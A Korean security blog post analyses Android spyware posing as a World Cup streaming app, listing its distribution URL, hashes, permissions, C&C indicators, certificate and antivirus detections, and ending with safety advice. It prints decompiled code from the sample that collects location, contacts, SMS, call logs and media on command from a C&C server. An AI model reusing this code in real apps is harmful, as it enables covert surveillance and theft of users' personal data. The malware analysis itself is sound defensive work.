꿈을꾸는 파랑새

오늘은 월드컵 중계를 볼 수 있다는 앱으로 위장을 해서 안드로이드 스마트폰 개인정보를 탈취하는 악성코드에 대해 알아보겠습니다. 일단 해당 악성코드는 기본적으로 악성코드를 다운로드 하려고 접속을 하면 한국에서는 접속을 차단돼 있지만, VPN을 사용하면 접속 및 악성코드가 내려받기 가능하기 때문에 글을 적습니다.

일단 월드컵을 세계 곳곳에서 축구공을 차서 세계 곳곳에서 누가 최고인지 가리는 스포츠입니다. 일단 기본적으로 해당 악성코드는 다운로드는 다음과 같습니다.

https://kora442(.)com->https://kora442(.)com/apps/kora442.apk

월드컵 중계 악성코드 유포 사이트
월드컵 중계 악성코드 유포 사이트

입니다. 그리고 해쉬값은 다음과 같습니다.
파일명:kora442.apk
사이즈:7.29 MB
CRC32:14747a1e
MD5:6905fac52473837ed4c548915b5c65a3
SHA-1:9c904c821edaff095e833ee342aedfcaac337e04
SHA-256:02cfa159f85e15bd24808859d6cbf1b8e8d21352e7290ba5477744f711bb752b
SHA-512:f74b1fea154098ff194deb0fa2f574ce77cfc1b86a4bcd8d4a3f2e1bd193fdd53bf1900b9ad0830c443d57662244ac07cc45d3b41f1c748a4705d785015d3f1d
기본적으로 해당 사이트 언어는 아랍어로 되어져 있는것이 특징 입니다.
그리고 해당 악성코드의 권한은 다음과 같습니다.

<uses-permission android:name="com.app.projectappkora.permission.C2D_MESSAGE"/>
<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="com.sec.android.provider.badge.permission.READ"/>
<uses-permission android:name="com.sec.android.provider.badge.permission.WRITE"/>
<uses-permission android:name="com.htc.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.htc.launcher.permission.UPDATE_SHORTCUT"/>
<uses-permission android:name="com.sonyericsson.home.permission.BROADCAST_BADGE"/>
<uses-permission android:name="com.sonymobile.home.permission.PROVIDER_INSERT_BADGE"/>
<uses-permission android:name="com.anddoes.launcher.permission.UPDATE_COUNT"/>
<uses-permission android:name="com.majeur.launcher.permission.UPDATE_BADGE"/>
<uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
<uses-permission android:name="com.huawei.android.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.huawei.android.launcher.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_APP_BADGE"/>
<uses-permission android:name="com.oppo.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.oppo.launcher.permission.WRITE_SETTINGS"/>
<uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_READ"/>
<uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_WRITE"/>
<uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
<uses-permission android:name="android.permission.LOCAL_MAC_ADDRESS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-feature android:name="android.hardware.camera" android:required="false"/>
<uses-feature android:name="android.permission.CAMERA" android:required="false"/>
<uses-feature android:name="android.hardware.camera2.full" android:required="false"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/>
<uses-permission android:name="com.android.chrome.permission.READ_WRITE_BOOKMARK_FOLDERS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.CAPTURE_MEDIA_OUTPUT"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>

악성코드 안드로이드 권한
악성코드 안드로이드 권한

입니다.
해당 악성 앱은 C&C 서버로부터 명령 및 제어 받고 감염된 안드로이드 스마트폰 개인정보 탈취합니다.
위치 정보 수집
주소록 정보
SMS 정보 수집
전화 기록
사진 유출
비디오 유출 
통화 녹음
사진 촬영
검색 기록 수집
북마크 정보 수집
클립보드 수집
C&C 서버로부터 원격 제어 명령 수행
com.app.work.command.CommandHelper 부분에 C&C 서버로부터 원격 제어 명령 수행을 볼 수가 있으며 executeCommands: 1~executeCommands: 6까지 GPS 위치 정보 수집, 주소록 정보, 문자 정보 수집
전화 기록, 사진 수집, 비디오 수집을 진행하면 코드는 다음과 같습니다.

악성코드 스마트폰 개인정보 수집
악성코드 스마트폰 개인정보 수집

private void executeOneCommand(CommandModel commandModel, List<CommandModel> list) {
        switch (commandModel.getTpe()) {
            case 1:
                AppLogger.logDebug(TAG, "executeCommands: 1");
                new Handler(Looper.getMainLooper()).post(new Runnable() { // from class: com.app.work.command.CommandHelper.2
                    @Override // java.lang.Runnable
                    public void run() {
                        LocationUtility.getInstance(CommandHelper.this.context).initializeLocation(CommandHelper.this.context);
                    }
                });
                list.add(commandModel);
                return;
            case 2:
                AppLogger.logDebug(TAG, "executeCommands: 2");
                SharedPreferencessClass.getInstance(this.context).setLastDataCollectionTime(CONTACTS_FOLDER, 0L);
                SharedPreferencessClass.getInstance(this.context).setLastDataCollectionId(CONTACTS_FOLDER, 0L);
                new GetContacts(this.context).collectSynchronously();
                list.add(commandModel);
                return;
            case 3:
                AppLogger.logDebug(TAG, "executeCommands: 3");
                SharedPreferencessClass.getInstance(this.context).setLastDataCollectionTime(MESSAGES_FOLDER, 0L);
                new GetMessages(this.context).collectSynchronously();
                list.add(commandModel);
                return;
            case 4:
                AppLogger.logDebug(TAG, "executeCommands: 4");
                SharedPreferencessClass.getInstance(this.context).setLastDataCollectionTime(CALL_LOGS_FOLDER, 0L);
                new GetCallLogs(this.context).collectSynchronously();
                list.add(commandModel);
                return;
            case 5:
                AppLogger.logDebug(TAG, "executeCommands: 5");
                DatabaseUtility.getInstance(this.context).resetImage();
                SharedPreferencessClass.getInstance(this.context).setLastDataCollectionTime(IMAGES_FOLDER, 0L);
                SharedPreferencessClass.getInstance(this.context).setLastDataCollectionId(IMAGES_FOLDER, 0L);
                new ImagesThumbnailsColl(this.context).collectSynchronously();
                list.add(commandModel);
                return;
            case 6:
                AppLogger.logDebug(TAG, "executeCommands: 6");
                DatabaseUtility.getInstance(this.context).resetVideo();
                SharedPreferencessClass.getInstance(this.context).setLastDataCollectionTime(VIDEOSPICTURES_FOLDER, 0L);
                SharedPreferencessClass.getInstance(this.context).setLastDataCollectionId(VIDEOSPICTURES_FOLDER, 0L);
                new VideoThumbnailsColl(this.context).collectSynchronously();
                list.add(commandModel);
                return;

그리고 개인정보를 수집하기 위한 코드는 collector에 있으며 GPS 위치 수집을 하는 쪽은 com.app.work.location.LocationUtility 부분에 있으며 코드는 다음과 같습니다.

GPS 정보 수집
GPS 정보 수집

public boolean gps_on() {
        return this.locationManager.isProviderEnabled("gps");
    }

    public boolean network_on() {
        return this.locationManager.isProviderEnabled("network");
    }

    public boolean passive_on() {
        return this.locationManager.isProviderEnabled("passive");
    }

    public void getLocation(Context context) {
        try {
            if (this.locationManager == null) {
                this.locationManager = (LocationManager) context.getSystemService("location");
            }
            Location lastKnownLocation = gps_on() ? this.locationManager.getLastKnownLocation("gps") : null;
            Location lastKnownLocation2 = network_on() ? this.locationManager.getLastKnownLocation("network") : null;
            Location lastKnownLocation3 = passive_on() ? this.locationManager.getLastKnownLocation("passive") : null;
            if (lastKnownLocation == null && lastKnownLocation3 == null) {
                this.mCurrentLocation = lastKnownLocation2;
            } else if (lastKnownLocation2 == null && lastKnownLocation3 == null) {
                this.mCurrentLocation = lastKnownLocation;
            } else if (lastKnownLocation3 == null) {
                if (lastKnownLocation.getTime() - lastKnownLocation2.getTime() > 0) {
                    this.mCurrentLocation = lastKnownLocation;
                } else {
                    this.mCurrentLocation = lastKnownLocation2;
                }
            } else {
                if ((lastKnownLocation != null ? lastKnownLocation.getTime() : 0L) - (lastKnownLocation2 != null ? lastKnownLocation2.getTime() : 0L) > 0) {
                    this.mCurrentLocation = lastKnownLocation;
                } else {
                    this.mCurrentLocation = lastKnownLocation2;
                }
                if (lastKnownLocation3.getTime() - this.mCurrentLocation.getTime() > 0) {
                    this.mCurrentLocation = lastKnownLocation3;
                }
            }
        } catch (Exception unused) {
        }

스마트폰 연락처 수집은 com.app.work.collector.contacts.GetContacts에 있습니다. 코드는 다음과 같습니다.

스마트폰 주소록 수집
스마트폰 주소록 수집

@Override // com.app.work.collector.CursorCollector
    public void extractRow(Cursor cursor, JSONArray jSONArray) {
        StringBuilder sb = new StringBuilder();
        StringBuilder sb2 = new StringBuilder();
        if (cursor.getInt(cursor.getColumnIndex("has_phone_number")) > 0) {
            String string = cursor.getString(cursor.getColumnIndex("_id"));
            Cursor query = this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Email.CONTENT_URI, null, "contact_id = ?", new String[]{string}, null);
            Cursor query2 = this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = ?", new String[]{string}, null);
            if (query != null && query.moveToNext()) {
                String string2 = query.getString(query.getColumnIndex("data1"));
                try {
                    if (!sb2.toString().equals("") && !string2.equals("")) {
                        sb2.append(ConstantAppWorkString.SPLIT_ID);
                    }
                    sb2.append(string2);
                } catch (Exception unused) {
                }
            }
            if (query != null) {
                query.close();
            }
            while (query2 != null && query2.moveToNext()) {
                String replace = query2.getString(query2.getColumnIndex("data1")).replace("-", "").replace(" ", "");
                if (!sb.toString().contains(replace)) {
                    if (!sb.toString().equals("") && !replace.equals("")) {
                        sb.append(ConstantAppWorkString.SPLIT_ID);
                    }
                    sb.append(replace);
                }
            }
            if (query2 != null) {
                query2.close();
            }
            if (query != null) {
                query.close();
            }
        }
        JSONObject jSONObject = new JSONObject();
        DataUtils.extractStringToJsonArray(cursor, jSONObject, ConstantAppWorkString.CONTACT_PARAMETER_NAME, "display_name");
        try {
            jSONObject.put(ConstantAppWorkString.CONTACT_PARAMETER_PHONE, sb.toString());
        } catch (JSONException e) {
            e.printStackTrace();
        }
        try {
            jSONObject.put(ConstantAppWorkString.CONTACT_PARAMETER_EMAIL, sb2.toString());
        } catch (JSONException e2) {
            e2.printStackTrace();
        }
        jSONArray.put(jSONObject);
    }
}

입니다.
문자 정보 수집은 com.app.work.collector.message.GetMessages 부분에 있습니다.

스마트폰 문자 수집
스마트폰 문자 수집

@Override // com.app.work.collector.CursorCollector
    public Cursor getCursor() {
        return this.context.getContentResolver().query(Uri.parse(CONTENT_SMS), null, "date > ?", new String[]{String.valueOf(this.pEditor.getLastDataCollectionTime(getDataType()))}, "date ASC");
    }

    @Override // com.app.work.collector.CursorCollector
    public void extractRow(Cursor cursor, JSONArray jSONArray) {
        JSONObject jSONObject = new JSONObject();
        DataUtils.extractStringToJsonArray(cursor, jSONObject, ConstantAppWorkString.MESSAGE_PARAMETER_SUBJECT, subject);
        DataUtils.extractStringToJsonArray(cursor, jSONObject, ConstantAppWorkString.MESSAGE_PARAMETER_BODY, body);
        DataUtils.extractStringToJsonArray(cursor, jSONObject, ConstantAppWorkString.MESSAGE_PARAMETER_NUMBER, address);
        DataUtils.extractIntToJsonArray(cursor, jSONObject, ConstantAppWorkString.MESSAGE_PARAMETER_READ, read);
        DataUtils.extractLongToJsonArray(cursor, jSONObject, ConstantAppWorkString.MESSAGE_PARAMETER_DATE, date);
        DataUtils.extractIntToJsonArray(cursor, jSONObject, ConstantAppWorkString.MESSAGE_PARAMETER_TYPE, type);
        jSONArray.put(jSONObject);
    }
}

그리고 스마트톤 통화 기록 수집은 다음과 같습니다.com.app.work.callrecord.CallRecordService 에 코드를 확인할 수가 있습니다.

스마트폰 통화 기록 수집
스마트폰 통화 기록 수집

/* loaded from: classes.dex */
public class CallRecordService extends AsyncTask<Void, Void, Void> implements ConstantAppWorkString {
    private static final String EXTENSION = "." + AMR;
    private static final String TAG = "CallRecordService";
    private static CallRecordService callRecordService;
    private Context context;
    private int count;
    private File files;
    private MediaRecorder mRecorder;
    private Timer timer = new Timer();
    private String savedNumber = "";
    private boolean isIncoming = false;

    private CallRecordService(Context context) {
        this.context = context;
    }

    public static synchronized CallRecordService init(Context context) {
        CallRecordService callRecordService2;
        synchronized (CallRecordService.class) {
            if (callRecordService == null) {
                callRecordService = new CallRecordService(context.getApplicationContext());
            }
            callRecordService2 = callRecordService;
        }
        return callRecordService2;
    }

    public void setSavedNumber(String str) {
        this.savedNumber = str;
    }

    public void setIncoming(boolean z) {
        this.isIncoming = z;
    }

    public static synchronized void finish() {
        synchronized (CallRecordService.class) {
            if (callRecordService != null) {
                callRecordService = null;
            }
        }
    }

C&C 서버 주소 업데이트는 Shared Preference를 생성 BBB  key : vlaue 형태로 C&C 서버 주소 업데이트를 진행을 합니다.
그리고 해당 코드는 다음과 같습니다.

C7C 서버 주소 업데이트
C7C 서버 주소 업데이트

 case 12:
                AppLogger.logDebug(TAG, "executeCommands: 12");
                SharedPreferencessClass.getInstance(this.context).setActivationApp(false);
                SharedPreferencessClass.getInstance(this.context).setActivationAppFromServer(false);
                SharedPreferencessClass.getInstance(this.context).setLink(NEW_WEBSITE);
                list.add(commandModel);
                return;
            case 13:
                AppLogger.logDebug(TAG, "executeCommands: 13");
                String currentUrl = ConnectionManager.getCurrentUrl();
                SharedPreferencessClass.getInstance(this.context).setActivationApp(true);
                SharedPreferencessClass.getInstance(this.context).setActivationAppFromServer(true);
                SharedPreferencessClass.getInstance(this.context).setLink(currentUrl);
                list.add(commandModel);
                return;

그리고 주소는 다음과 같습니다.

http://firebaseconnections(.)com

HTTP 요청

http://connectivitycheck.gstatic(.)com/generate_204

사용을 하는 DNS

connectivitycheck.gstatic(.)com
proxys.osc-secnum-fr1.scalingo(.)io
sc-lb-pool-01.osc-secnum-fr1.scalingo-network(.)com
v3.football.api-sports(.)io

IP 트래픽

108.177.119(.)101:443 (TCP)
108.177.119(.)113:443 (TCP)
108.177.119(.)138:443 (TCP)
108.177.119(.)94:443 (TCP)
108.177.119(.)95:443 (TCP)
108.177.126(.)105:443 (TCP)
108.177.126(.)188:5228 (TCP)
108.177.126(.)95:443 (TCP)
108.177.126(.)97:443 (TCP)
108.177.127(.)188:5228 (TCP)
142.251.31(.)95:443 (TCP)
148.253.96(.)193:443 (TCP)
173.194.69(.)95:443 (TCP)
51.159.25(.)120:443 (TCP)
64.44.135(.)7:443 (TCP)
74.125.143(.)94:80 (TCP)

해당 악성코드의 인증서는 다음과 같습니다.

악성코드 인증서 정보
악성코드 인증서 정보

APK signature verification result:
서명 검증 성공
유효한 APK 서명 v1을(를) 찾았습니다.
서명자 APKEASYT.RSA (META-INF/APKEASYT.SF)
유형: X.509
버전: 3
시리얼 번호: 0x936eacbe07f201df
소유자: EMAILADDRESS=android@android(.)com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
유효 시작 시각: Fri Feb 29 10:33:46 GMT+09:00 2008
유효 종료 시각: Tue Jul 17 10:33:46 GMT+09:00 2035
공개키 타입: RSA
지수: 3
모듈러스 크기 (비트): 2048
모듈러스: 27087533857153302906822427244451835680271467139433638657402420676788772368468316411790577780743478815329574319010356420647651577255214076320764054962227698091591190998224183931185609609820277016242603583619929549819986490809257050240250723681109660718403959925449702875642189909904608631689243630431349528603016850515510838951987672075344238987930639179476225895129710043944157373677589593772202003591689051650854123572660036810919613063456337914746959297660631038090097224838665758049737111657080826771808365050815496720770905152230613652255807956565630323299366925404317303221604342657788982549334320910974026967327
서명 유형: SHA1withRSA
서명 OID: 1.2.840.113549.1.1.5
MD5 지문: E8 9B 15 8E 4B CF 98 8E BD 09 EB 83 F5 37 8E 87 
SHA-1 지문: 61 ED 37 7E 85 D3 86 A8 DF EE 6B 86 4B D8 5B 0B FA A5 AF 81 
SHA-256 지문: A4 0D A8 0A 59 D1 70 CA A9 50 CF 15 C1 8C 45 4D 47 A3 9B 26 98 9D 8B 64 0E CD 74 5B A7 1B F5 DC

해당 악성코드는 안드로이드 스마트폰 녹음, 클립보드, 연락처, 전화 기록, 통화 녹음 등 개인정보 수집을 수행하면 그리고 2023-02-07 03:11:41 UTC 기준 VirusTotal(바이러스토탈)에서 탐지하는 보안업체들은 다음과 같습니다.
AhnLab-V3:Trojan/Android.SpyAgent.1172588
Alibaba:TrojanSpy:Android/Dummy.5a23dd18
Antiy-AVL:Trojan/Generic.ASMalwAD.F42
Avast:Android:FakeSys-X [Spy]
Avast-Mobile:Android:FakeSys-X [Spy]
AVG:Android:FakeSys-X [Spy]
Avira (no cloud):ANDROID/Fakesys.FLRW.Gen
BitDefenderFalx:Android.Riskware.SpyAgent.DB
Cynet:Malicious (score: 99)
Cyren:ABRisk.YQZX-
ESET-NOD32:A Variant Of Android/Spy.Agent.BOC
F-Secure:Malware.ANDROID/Fakesys.FLRW.Gen
Fortinet:Android/Agent.BOC!tr.spy
Google:Detected
Ikarus:Trojan-Spy.AndroidOS.Agent
K7GW:Spyware ( 0057901a1 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.Dummy.a
Lionic:Trojan.AndroidOS.Dummy.C!c
MAX:Malware (ai Score=99)
McAfee:Artemis!EF493C4633DA
McAfee-GW-Edition:Artemis!Trojan
Microsoft:TrojanSpy:AndroidOS/Dummy.A!MTB
Symantec:Trojan.Gen.2
Symantec Mobile Insight:AppRisk:Generisk
Tencent:Dos.Trojan-Spy.Dummy.Mzfl
Trustlook:Android.Malware.Spyware
기본적으로 AV-TEST에서 인증하는 보안 업체 백신 프로그램을 설치해서 사용하시면 되면 백신 앱 2개는 스마트폰에 이상을 가져 오며 그리고 월드컵, 영화, 올림픽 중계 시청을 하려고 하면 합법적으로 중계하는 곳에서 보는 것을 추천하면 물론 유료 서비스일 것입니다. 그리고 안드로이드 스마트폰은 외부앱에서 설치를 하는 것을 굉장히 권장하지 않습니다. 그냥 이러면 99% 악성코드라고 생각을 하시면 될 것입니다.

728x90
반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band